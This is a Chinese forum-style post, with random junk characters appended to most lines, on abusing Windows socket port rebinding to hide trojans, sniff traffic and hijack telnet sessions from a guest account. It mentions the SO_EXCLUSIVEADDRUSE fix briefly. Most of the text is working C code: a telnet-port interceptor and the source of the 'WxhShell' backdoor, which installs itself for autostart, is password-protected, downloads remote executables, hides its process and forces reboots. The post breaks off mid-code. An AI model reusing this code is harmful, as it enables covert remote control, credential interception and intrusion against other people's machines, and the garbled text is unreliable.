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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: <'4!G"_EP  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); YiI:uG!|D  
v&CO#vK5.  
  saddr.sin_family = AF_INET; b3 %&   
,mE]?XyO  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); G(Idiw#WT  
pRk'GR]`  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); r/s&ee  
|V~(mS747:  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 7,&]1+n  
.>gU 9A(Nk  
  这意味着什么?意味着可以进行如下的攻击: 6_`eTL=G  
qS/71Kv'  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 I}g|n0o  
GD6'R"tJ  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) <g|nmu)o$  
9(FcA5Y  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ]a%\Q 2[c  
CDTk  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  zm)CfEF 8  
xUYN\Pc-  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 +G=C~X  
8L9S^ '  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 2sd=G'7!  
b09#+CH?  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 o y%g{,V  
6Nd_YX  
  #include Kjca>/id  
  #include +IOKE\,Y  
  #include ]zM90$6  
  #include    -"JE-n  
  DWORD WINAPI ClientThread(LPVOID lpParam);   )V+Dqh,-g  
  int main() :EldP,s#x%  
  { ,9l!fT?iH  
  WORD wVersionRequested; '$L= sH5  
  DWORD ret; <&m  
  WSADATA wsaData; 3Ns:O2|  
  BOOL val; /*R' xBr  
  SOCKADDR_IN saddr; )mo|.L0  
  SOCKADDR_IN scaddr; $GfxMt  
  int err; [#@p{[?r  
  SOCKET s; a~N)qYL:  
  SOCKET sc; }"; hz*a  
  int caddsize; #.G>SeTn2}  
  HANDLE mt; { G>+.  
  DWORD tid;   "F.J>QBd  
  wVersionRequested = MAKEWORD( 2, 2 ); O 9 Au =  
  err = WSAStartup( wVersionRequested, &wsaData ); ^MWW,`  
  if ( err != 0 ) { &B5 Rzz-'  
  printf("error!WSAStartup failed!\n"); CYic_rF$  
  return -1; qpEC!~ y  
  } MvjwP?J]  
  saddr.sin_family = AF_INET; +P6  
   m5Laq'~0_  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 XuAc3~HAd  
u #QSa$P  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); [?r\b  
  saddr.sin_port = htons(23); ?Kz` O>"6  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ah@GSu;7  
  { WE8L?55_Au  
  printf("error!socket failed!\n"); Z(`K6`KM  
  return -1; Z_ *ZUN?B  
  } '`A67bdq)  
  val = TRUE; K/LaA4  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Fb4S /_ V  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) -){^ Q:u  
  { H-y-7PW*~  
  printf("error!setsockopt failed!\n"); oO9iB:w  
  return -1; PL B=%[  
  } U?m?8vhR6(  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; _@ 3O`  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 5<ya;iK  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 9mtC"M<   
b:d.Lf{y7  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) { dx yBDK  
  { Hn2Q1lF-ip  
  ret=GetLastError(); _xwfz]lb+  
  printf("error!bind failed!\n"); KB-#):'  
  return -1; HQ#L |LN  
  } ha'm`LiX  
  listen(s,2); 7^}Z%c  
  while(1) ea;c\84_N  
  { Tf]VcEF  
  caddsize = sizeof(scaddr); X/D9%[{&  
  //接受连接请求 Dg4^ C  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); bX1! fa  
  if(sc!=INVALID_SOCKET) RPqn#B  
  { ZFw743G  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); @[ N~;>  
  if(mt==NULL) si4=C  
  { 4'eVFu+62  
  printf("Thread Creat Failed!\n"); 9 u89P  
  break; k5\ zGsol  
  } Iz=E8R g  
  } B'~i Z65  
  CloseHandle(mt); :z5I bas:  
  } 7.'j~hJL  
  closesocket(s); +[nYu)puP  
  WSACleanup(); CZno2$8@e  
  return 0; e/I{N0SR  
  }   o~N-x*   
  DWORD WINAPI ClientThread(LPVOID lpParam) `-e}:9~q  
  { `)_FO]m}jS  
  SOCKET ss = (SOCKET)lpParam; Z s!q#qM  
  SOCKET sc; #Yb9w3N  
  unsigned char buf[4096]; H0Xda.Y(  
  SOCKADDR_IN saddr; pNme jz:  
  long num; E$fy*enON  
  DWORD val; R1%T>2"~&  
  DWORD ret; !f[N&se  
  //如果是隐藏端口应用的话,可以在此处加一些判断 3JO:n6  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   B ~bU7.Cd  
  saddr.sin_family = AF_INET; ?4dd|n  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); &%51jM<  
  saddr.sin_port = htons(23); A)0m~+?{J  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) os+wTUR^  
  { JugQ +0  
  printf("error!socket failed!\n"); (.t:sn"P  
  return -1; 4SO{cs t  
  } : .eS|  
  val = 100; *J- jr8&  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ::t !W7W  
  { PU\q.y0R  
  ret = GetLastError(); rMx_ <tXX  
  return -1; TV2:5@33  
  } a.ME{:a%  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) nsn,8a38  
  { g)Uh   
  ret = GetLastError(); hRiGW_t  
  return -1;  +PD5pr  
  } XX;%:?n  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) rV{e[fGd  
  { N1+]3kt ~  
  printf("error!socket connect failed!\n"); N1t:i? q&  
  closesocket(sc); ?["ZEa  
  closesocket(ss); Tdp$laPO'  
  return -1; XX+rf  
  } 'Pn`V{a  
  while(1) 1%{(?uz9  
  { F.w#AV  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Eu}A{[^\  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 7~g0{W>Zm  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 p_N=V. w  
  num = recv(ss,buf,4096,0); oz r+6z  
  if(num>0) 5rhdm?Ls0  
  send(sc,buf,num,0); hYx^D>}]  
  else if(num==0) T}LJkS~*l  
  break; ~~ w4854  
  num = recv(sc,buf,4096,0); t38T0Ao  
  if(num>0) nP /$uj  
  send(ss,buf,num,0); qd;f]ndo  
  else if(num==0) vdM\scO:  
  break; N{@ eV][Q  
  } }gt~{9?c  
  closesocket(ss); ,4UJ| D=J  
  closesocket(sc); 3`I_  
  return 0 ; jV8><5C  
  }  iSax-Mc  
b(,[g>xH   
a_x6 v*  
========================================================== 9dv~WtH>5  
s!\L1E  
下边附上一个代码,,WXhSHELL M>#S z  
L*38T\  
========================================================== IT"jtV  
 EZFWxR/  
#include "stdafx.h" \/G Y0s  
ld6@&34  
#include <stdio.h> EORAx  
#include <string.h> 8t"DQ Y-R  
#include <windows.h> /otgFQ_  
#include <winsock2.h>  #pK)  
#include <winsvc.h> Sn,z$-;h;  
#include <urlmon.h> F3'G9Xf8Q=  
(x!bZ,fu  
#pragma comment (lib, "Ws2_32.lib") P$yJA7]j;%  
#pragma comment (lib, "urlmon.lib") sa ?;D  
*l} 0x@  
#define MAX_USER   100 // 最大客户端连接数 E{B<}n|}&  
#define BUF_SOCK   200 // sock buffer u?i1n=Ne  
#define KEY_BUFF   255 // 输入 buffer M>j)6?n`_  
q fe#kF9  
#define REBOOT     0   // 重启 vUA,`  
#define SHUTDOWN   1   // 关机 }2{#=Elh  
XUHY.M  
#define DEF_PORT   5000 // 监听端口 19DW~kvYk  
.j.=|5nVo4  
#define REG_LEN     16   // 注册表键长度 |F`'m":$m  
#define SVC_LEN     80   // NT服务名长度 XQPJ(.G  
 0]HI c  
// 从dll定义API Wov_jVdN\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +d96Z^KUhv  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); cm<3'#~Q?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); b"V-!.02  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); m9S5;kB]  
gS 3&,^  
// wxhshell配置信息 8a {gEZT,  
struct WSCFG { 6P8X)3CE<T  
  int ws_port;         // 监听端口 o\#e7Hqbh  
  char ws_passstr[REG_LEN]; // 口令 3{=4q  
  int ws_autoins;       // 安装标记, 1=yes 0=no N3)EG6vE*  
  char ws_regname[REG_LEN]; // 注册表键名 .nJGxz+X"  
  char ws_svcname[REG_LEN]; // 服务名 <Th.}=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 j7zQ&ANF  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 D1a4+AyI  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 vbU{Et\ ^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ho. a93  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" M9nYt~vHX  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 o^_am>h  
:KwYuwYS  
}; i|e-N?l  
^q$sCt}  
// default Wxhshell configuration L\5n!(,0  
struct WSCFG wscfg={DEF_PORT, t!LvV.g+  
    "xuhuanlingzhe", Bdi~ B")  
    1, :>z0m 0nI\  
    "Wxhshell", c2QC`h(Wb  
    "Wxhshell", h";sQ'us  
            "WxhShell Service", 5Z'pMkn3  
    "Wrsky Windows CmdShell Service", (nm&\b~j  
    "Please Input Your Password: ", H^~!t{\  
  1, i&#c+iTH  
  "http://www.wrsky.com/wxhshell.exe", KAGq\7  
  "Wxhshell.exe" ~?FKww|_*J  
    }; 9,IGZ55C  
T^ -RP  
// 消息定义模块 x.I-z@\E  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; cD]t%`*  
char *msg_ws_prompt="\n\r? for help\n\r#>"; d>f5T l\E  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ~rD* Y&#.  
char *msg_ws_ext="\n\rExit."; I`7[0jA~  
char *msg_ws_end="\n\rQuit."; }j x{Cw  
char *msg_ws_boot="\n\rReboot..."; pmZr<xs   
char *msg_ws_poff="\n\rShutdown..."; xfilxd  
char *msg_ws_down="\n\rSave to "; d?JVB  
1x]G/I*  
char *msg_ws_err="\n\rErr!"; /}wGmX! -!  
char *msg_ws_ok="\n\rOK!"; ygHNAQG~  
&f$jpIyVX  
char ExeFile[MAX_PATH]; \W4SZR%u  
int nUser = 0; OWU]gh@r  
HANDLE handles[MAX_USER]; c8'?Dd  
int OsIsNt; ;XjKWM;  
G|V ^C_:  
SERVICE_STATUS       serviceStatus; e>/PW&Z8Z  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; b.F2m(e2  
aE+E'iL  
// 函数声明 f-PDgs   
int Install(void); pLRHwL.  
int Uninstall(void); TA*49Qp  
int DownloadFile(char *sURL, SOCKET wsh); 5we1q7  
int Boot(int flag); q?wB h^  
void HideProc(void); \|kU{d0  
int GetOsVer(void); ry:tL0;;e#  
int Wxhshell(SOCKET wsl); ke0Vy(3t{h  
void TalkWithClient(void *cs); zK}.Bhj#  
int CmdShell(SOCKET sock); -7CkOZT  
int StartFromService(void); -<.>jX  
int StartWxhshell(LPSTR lpCmdLine); x~ I cSt  
?AR6+`0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4&tY5m>  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); )<+Z,6  
 (1ebE  
// 数据结构和表定义 =6>mlI>i  
SERVICE_TABLE_ENTRY DispatchTable[] = )s M}BY  
{ xf|=n  
{wscfg.ws_svcname, NTServiceMain}, 3oj30L.  
{NULL, NULL} K/altyj`  
}; H4UnF5G  
s`TfNwDvU  
// 自我安装 _:T\[sz5  
int Install(void) k5^'b#v  
{ w1.~N`g$  
  char svExeFile[MAX_PATH]; Z# 1Qj9  
  HKEY key; 'Z';$N ]  
  strcpy(svExeFile,ExeFile); ZC05^  
o9JJ_-O"  
// 如果是win9x系统,修改注册表设为自启动 }a8N!g  
if(!OsIsNt) { 3+IS7ATn  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~{xY{qL  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C0e< _6p=  
  RegCloseKey(key); &#~yci2{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <~3@+EEM  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); { aU~[5L3(  
  RegCloseKey(key); FG?B:Zl%T  
  return 0; 5ES$qYN  
    } N52N ^X>  
  } FJ/kumq  
} rLp0VKPe  
else { B4|3@X0(  
- iU7'  
// 如果是NT以上系统,安装为系统服务 XBBsdldZ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); } pA0mW9  
if (schSCManager!=0) 778a)ZOzb  
{ |3s-BKbN4  
  SC_HANDLE schService = CreateService )x]/b=m  
  ( <[(xGrEZV  
  schSCManager, =VDN9-/.  
  wscfg.ws_svcname, pDW .Pav  
  wscfg.ws_svcdisp, VF;%Z  
  SERVICE_ALL_ACCESS, _bW#* Y5  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , m%akx@{WL  
  SERVICE_AUTO_START, Bp9 u6R  
  SERVICE_ERROR_NORMAL, {whR/rX`  
  svExeFile, HyZh27PE  
  NULL, K@+&5\y]  
  NULL, (Ys 0|I3  
  NULL, ^,,|ED\M{m  
  NULL, *c.*e4uzF  
  NULL eP6>a7gc  
  ); `g3H; E  
  if (schService!=0) B \BP:;"  
  { yYF%U7N/n  
  CloseServiceHandle(schService); ZM0vB% M|  
  CloseServiceHandle(schSCManager); "H6DiPh.E  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); NU81 V0:jG  
  strcat(svExeFile,wscfg.ws_svcname); @N34 Q-l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ho 4~-xmN  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); )%P!<|s:5  
  RegCloseKey(key); ZfoI7<?33  
  return 0; &!_ >J0  
    } nD|Bo 9  
  } ?z p$Wz;k  
  CloseServiceHandle(schSCManager);  zoA]7pG-  
} !Vy/-N  
} 7N 7W0Ky  
fE,\1LK4  
return 1; c.r]w  
} dCN4aY[d  
kowBB0  
// 自我卸载 G8 H=xr#  
int Uninstall(void) kk& ([ xqU  
{ A(ql}cr  
  HKEY key; "p0e6Z=  
?$%#y u#.  
if(!OsIsNt) { o^H.uBO{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { OUQySac  
  RegDeleteValue(key,wscfg.ws_regname); 0;KjP?5  
  RegCloseKey(key); ~Cm_=[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /U+0T>(HS  
  RegDeleteValue(key,wscfg.ws_regname); 0.qnbDw_  
  RegCloseKey(key); ZDMS:w.'T  
  return 0; ;5M I8  
  } i1}Y;mj  
} 274F+X  
} ?31#:Mg6g+  
else { 7 wH9w  
/c6:B5G  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^|gD;OED7O  
if (schSCManager!=0) Sjv_% C $  
{ M*$#j|  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \$$DM"+:;H  
  if (schService!=0) ) 7w%\i{M  
  { !o1+#DL)MU  
  if(DeleteService(schService)!=0) { rUmaKh?v|X  
  CloseServiceHandle(schService); !E#FzY!}Pl  
  CloseServiceHandle(schSCManager); nW1u;.  
  return 0; ~x4]^XS  
  } 5LMAy"  
  CloseServiceHandle(schService); bdbTK8-  
  } t}w<xe  
  CloseServiceHandle(schSCManager); b9X"p*'p  
} b8@?fC+tm  
} gw O]U=Y  
n|q $=jE  
return 1; clyZD`*  
} _<}oBh  
n.F^9j+V  
// 从指定url下载文件 K+|G9  
int DownloadFile(char *sURL, SOCKET wsh) lsq\CavbM  
{ L.X"wIs^  
  HRESULT hr; wN Mf-~  
char seps[]= "/"; Qa>t$`o`  
char *token; 21_sg f?  
char *file; &!N9.e:-]  
char myURL[MAX_PATH]; %0&59q]LM  
char myFILE[MAX_PATH]; J;wDvt]]1  
YMXhzqj  
strcpy(myURL,sURL); @^R6}qJ  
  token=strtok(myURL,seps); NAgm?d  
  while(token!=NULL) ecvQEK2L  
  { ;iq H:wO  
    file=token; {0?^$R8j  
  token=strtok(NULL,seps); \3q Z0  
  } 1#}}:  
]?c9;U  
GetCurrentDirectory(MAX_PATH,myFILE); @KJ~M3d0l  
strcat(myFILE, "\\"); E/OfkL*\  
strcat(myFILE, file); U'*~Ju  
  send(wsh,myFILE,strlen(myFILE),0); 7G':h0i8  
send(wsh,"...",3,0); %/.yGAPkx  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);  |pgrR7G'  
  if(hr==S_OK) vX30Ijm  
return 0; l\t g.O~  
else yVfF *nG  
return 1; b@X+vW{S  
?hBjq  
} erlg\-H   
YUjKOPN  
// 系统电源模块 V10JExsJ  
int Boot(int flag) ;r?s7b/>  
{ wNvq['P  
  HANDLE hToken; Ky[s& >02  
  TOKEN_PRIVILEGES tkp; N||a0&&  
lq}m0}9<  
  if(OsIsNt) { sU7fVke1   
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); s'B$/qCkR  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); XmJ?oPr7  
    tkp.PrivilegeCount = 1; d C>[[_  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; BK]5g[   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); FQ_a= v  
if(flag==REBOOT) { <P@ "VwUX  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Kt3T~k  
  return 0; {Ri6975  
} 2=IZD `{!  
else { H"NBjVRU%  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) JCjV,  
  return 0; cB0"vbdO  
} -J":'xCP!  
  } Lrjp  
  else { z"\<GmvB  
if(flag==REBOOT) { k 5gvo  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) p54 e'Zb  
  return 0; Lo*vt42{4  
} q"0_Px9P  
else { ^Ycn&`s  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) v`&>m '  
  return 0; ]kdU]}z  
} +OaBA>Jh9  
} gY {/)"  
U_sM==~  
return 1; }Jo}K) >!  
} fA)4'7UT  
K?@x'q1  
// win9x进程隐藏模块 O^Y@&S RrQ  
void HideProc(void) =xjt PmZ5X  
{ G?+0#?'Y  
tq=7HM  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); w&e q *q  
  if ( hKernel != NULL ) *4y0Hq  
  { ?>Bt|[p:s)  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]|QA`5=$  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); NCp]!=uM;  
    FreeLibrary(hKernel); (j&7`9<5  
  } \*mKctpz]6  
jO.c>C[?  
return; /_Fi4wZ  
} /u~L3Cp(  
BXX1G  
// 获取操作系统版本 9Jp "E5Ql)  
int GetOsVer(void) J9`[Qy\  
{ dWhF[q"  
  OSVERSIONINFO winfo; Ujss?::`G  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ot.R Gpg%  
  GetVersionEx(&winfo); :]-? l4(%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) AV?<D.<  
  return 1; 0%5x&vx'S  
  else jY5BVTWnV  
  return 0; \ /6m  
} !FR1yO'd>  
Yq%D/dU8  
// 客户端句柄模块 f>C|qDmT  
int Wxhshell(SOCKET wsl) 6882:,q  
{ ! jb{q bq  
  SOCKET wsh; von~-51;  
  struct sockaddr_in client; ~*uxKEH  
  DWORD myID; 9{5 c}bX  
/pDI \]  
  while(nUser<MAX_USER) 1~Z Kpvu  
{ ^9I^A!w=  
  int nSize=sizeof(client); _\2^s&iJh  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); o*1t)HL<  
  if(wsh==INVALID_SOCKET) return 1; g@7j<UY  
=Pg u?WU@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); @DYkWivLu  
if(handles[nUser]==0) rCO:39L-  
  closesocket(wsh); "rI By  
else o'nrLI(t  
  nUser++; 5s2334G  
  } \|9KOulr  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Zx}.mt#}8  
vH^^QI:em  
  return 0; `)R@\@jt  
} JTg0T+  
1eDc:!^SD  
// 关闭 socket rKys:is  
void CloseIt(SOCKET wsh) 5CuK\<  
{ R0*+GIRA(  
closesocket(wsh); T4{&@b 0*  
nUser--; CfnRcnms  
ExitThread(0); eX>X=Ku  
} JSQ*8wDcl  
.o5r;KD  
// 客户端请求句柄 o$r]Z1  
void TalkWithClient(void *cs) 1f1J'du  
{ g$ *V A} s  
weiqt *,8  
  SOCKET wsh=(SOCKET)cs; _"`U.!3*  
  char pwd[SVC_LEN]; v#`Wf}G  
  char cmd[KEY_BUFF]; {1 94u %'  
char chr[1]; x 1"ikp}  
int i,j; = pS\gLQu  
L%.GKANM  
  while (nUser < MAX_USER) { l@om2|B  
&p$SFH?s  
if(wscfg.ws_passstr) { t9()?6H\  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Xsc5@O!  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); HSOdqjR*  
  //ZeroMemory(pwd,KEY_BUFF); :=tPC A=  
      i=0; a4}2^K  
  while(i<SVC_LEN) { _r|$H_#  
M_4g%uHG  
  // 设置超时 3rZ"T  
  fd_set FdRead; (dF4F4`{  
  struct timeval TimeOut; ]Zim8^n?`.  
  FD_ZERO(&FdRead); hexq]'R  
  FD_SET(wsh,&FdRead); 8D:{05  
  TimeOut.tv_sec=8; 5yQv(<~*G  
  TimeOut.tv_usec=0; ,&HZvU&  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^"%SHs  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); t=]&q.  
FZ/l T-"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tH"SOGfSt  
  pwd=chr[0]; q'?:{k$%  
  if(chr[0]==0xd || chr[0]==0xa) { hqY9\,.C  
  pwd=0; ${ ~UA 6  
  break; 8E Y< ^:  
  } 5b[:B~J  
  i++; aM9St!i  
    } _|Ml6;1aZ  
`B6{y9J6  
  // 如果是非法用户,关闭 socket rQ'tab.,]  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); v) q6  
} WU1o4&OF  
K0\a+6kh  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Wx/!My u  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WJU` g  
j#U?'g  
while(1) { Y(SgfWeK@1  
c+G: bb%p  
  ZeroMemory(cmd,KEY_BUFF); 685o1c|  
38Z"9  
      // 自动支持客户端 telnet标准   =3oz74O[  
  j=0; 7-ba-[t#A  
  while(j<KEY_BUFF) { BQB O]<99  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h ;5 -X7  
  cmd[j]=chr[0]; +c\s%Gzrh  
  if(chr[0]==0xa || chr[0]==0xd) { vd /_`l.D  
  cmd[j]=0; KX)xCR~  
  break; 4W.;p"S2  
  } 3_T'TzQ u  
  j++; RQU5T 2,  
    } Z=!*7@QY  
!r.}y|t?;  
  // 下载文件 [NvEX Td  
  if(strstr(cmd,"http://")) { B:z-?u#B  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =,[46 ;q  
  if(DownloadFile(cmd,wsh)) 4 _N)1u !  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ja7Z v[  
  else %TG$5' )0  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q'hV 'U  
  } =pcj{B{qa  
  else { >Fld7;L?<  
Mn~A;=%qF  
    switch(cmd[0]) { !nj%n  
  \MtiLaI"  
  // 帮助 +ZE&]BO{  
  case '?': { ,0&lag  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9'toj%XQ  
    break; AD?DIE(v  
  } qW7"qw=   
  // 安装 NTL#!  
  case 'i': { m4Wn$Z  
    if(Install()) E}@8sY L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f/;\/Q[Z7  
    else 45MK|4\Y_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UWn}0:6t  
    break; i8B%|[ nm  
    } cfeX (0  
  // 卸载 38q@4U=aiw  
  case 'r': { DhZtiqL#_  
    if(Uninstall()) j|`{ 1`'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kw-/h+lG  
    else Rc6 )v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B E"nyTQ  
    break; uaPBM<  
    } Msd!4TrBJ  
  // 显示 wxhshell 所在路径 4(aesZ8h  
  case 'p': { 7-o=E=  
    char svExeFile[MAX_PATH]; \aZ(@eF@@Q  
    strcpy(svExeFile,"\n\r"); U[A*A^$c}  
      strcat(svExeFile,ExeFile); Ab2g),;c  
        send(wsh,svExeFile,strlen(svExeFile),0); CY>NU  
    break; rIb[gm)Rk  
    } (FjgnsW  
  // 重启 u\e#_*>  
  case 'b': { j^%i?BWw  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9)l_(*F  
    if(Boot(REBOOT)) y9*H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !7xp<=  
    else { CMBW]b|  
    closesocket(wsh); <go~WpA|r  
    ExitThread(0); qz0v1057#  
    } 4[J3HLQ  
    break; ,#wVqBEk  
    } 5R=lTx/Hj  
  // 关机 #Y5I_:k  
  case 'd': { F7;xf{n<  
